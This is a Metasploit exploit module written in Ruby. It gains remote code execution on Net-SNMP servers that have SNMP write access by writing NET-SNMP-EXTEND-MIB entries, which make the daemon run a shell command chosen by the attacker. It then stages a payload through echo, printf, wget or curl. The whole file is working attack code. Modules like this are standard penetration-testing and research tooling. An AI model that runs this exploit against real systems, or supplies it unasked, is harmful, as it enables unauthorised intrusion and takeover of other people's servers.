Net-SNMPd Write Access SNMP-EXTEND-MIB Arbitrary Code Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'snmp'

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::SNMPClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name'           => 'Net-SNMPd Write Access SNMP-EXTEND-MIB arbitrary code execution',
        'Description'    => %q(
            This exploit module exploits the SNMP write access configuration ability of SNMP-EXTEND-MIB to
            configure MIB extensions and lead to remote code execution.
        ),
        'License'        => MSF_LICENSE,
        'Author'         => ['Steve Embling at InteliSecure'],
        'References'     =>
          [
            [ 'URL', 'http://net-snmp.sourceforge.net/docs/mibs/NET-SNMP-EXTEND-MIB.txt'],
            [ 'URL', 'https://medium.com/rangeforce/snmp-arbitrary-command-execution-19a6088c888e'],
            [ 'URL', 'https://digi.ninja/blog/snmp_to_shell.php'],
            [ 'URL', 'https://sourceforge.net/p/net-snmp/mailman/message/15735617/']
          ],
        'Payload'        =>
          {
            'Space'    => 4096
            #note space above is not a hard limit and can be increased if required
            #'BadChars' => "\x00"
          },
        'Targets'        =>
        [
          ['Linux x86', {
              'Arch' => ARCH_X86,
              'Platform' => 'linux',
              'CmdStagerFlavor' => [ :echo, :printf, :bourne, :wget, :curl ]}],
          ['Linux x64', {
              'Arch' => ARCH_X64,
              'Platform' => 'linux',
              'CmdStagerFlavor' => [ :echo, :printf, :bourne, :wget, :curl ]}]
          ],
          #Not tested on other platforms but confirmed the above works.
        'DisclosureDate' => "May 10 2004",
        'DefaultTarget'  => 0,
      )
    )
    register_options(
      [
        OptString.new('FILEPATH', [true, 'file path to write to ', '/tmp']),
        OptString.new('CHUNKSIZE', [true, 'Maximum bytes of payload to write at once ', 200]),
        OptString.new('SHELL', [true, 'Shell to call with -c argument', '/bin/bash'])
      ])
  end

  # The exploit method connects and sets:
  # NET-SNMP-EXTEND-MIB::nsExtendStatus."tmp" = INTEGER: createAndGo(4)
  # NET-SNMP-EXTEND-MIB::nsExtendCommand."tmp" = STRING: /path/to/executable
  # NET-SNMP-EXTEND-MIB::nsExtendArgs."tmp" = STRING: arguments
  def execute_command(cmd, opts = {})
    oid_1 = '1.3.6.1.4.1.8072.1.3.2.2.1.21.3.116.109.112'
    oid_1_value = 4
    oid_2 = '1.3.6.1.4.1.8072.1.3.2.2.1.2.3.116.109.112'
    oid_2_value =  datastore['SHELL']
    oid_3 = '1.3.6.1.4.1.8072.1.3.2.2.1.3.3.116.109.112'
    oid_4 = '1.3.6.1.4.1.8072.1.3.2.4.1.2.3.116.109.112.1'

    comm = datastore['COMMUNITY']

    cmd = cmd.shellescape unless flavor == :bourne

    oid_3_value = "-c \"#{cmd}\""

    vprint_status(oid_3_value)
    SNMP::Manager.open(:Host => rhost, :Port => rport, :Community => comm) do |manager|
      #vprint_status(manager.get_value("sysDescr.0"))
      varbind1 = SNMP::VarBind.new(oid_1,SNMP::Integer.new(oid_1_value))
      varbind2 = SNMP::VarBind.new(oid_2,SNMP::OctetString.new(oid_2_value))
      varbind3 = SNMP::VarBind.new(oid_3,SNMP::OctetString.new(oid_3_value))
      resp = manager.set([varbind1, varbind2, varbind3])
      vprint_status(manager.get_value(oid_4).to_s)
    end
    #Hit same again, first rewrite  appears to remove the MIB, the next reinstates it.
    SNMP::Manager.open(:Host => rhost, :Port => rport, :Community => comm) do |manager|
      varbind1 = SNMP::VarBind.new(oid_1,SNMP::Integer.new(oid_1_value))
      varbind2 = SNMP::VarBind.new(oid_2,SNMP::OctetString.new(oid_2_value))
      varbind3 = SNMP::VarBind.new(oid_3,SNMP::OctetString.new(oid_3_value))
      begin
        resp = manager.set([varbind1, varbind2, varbind3])
        vprint_status(manager.get_value(oid_4).to_s)
      rescue SNMP::RequestTimeout
        print_good("SNMP request timeout (this is promising).")
      end
    end
  end

  def exploit
    execute_cmdstager(linemax: datastore['CHUNKSIZE'].to_i, :temp => datastore['FILEPATH'])
  end
end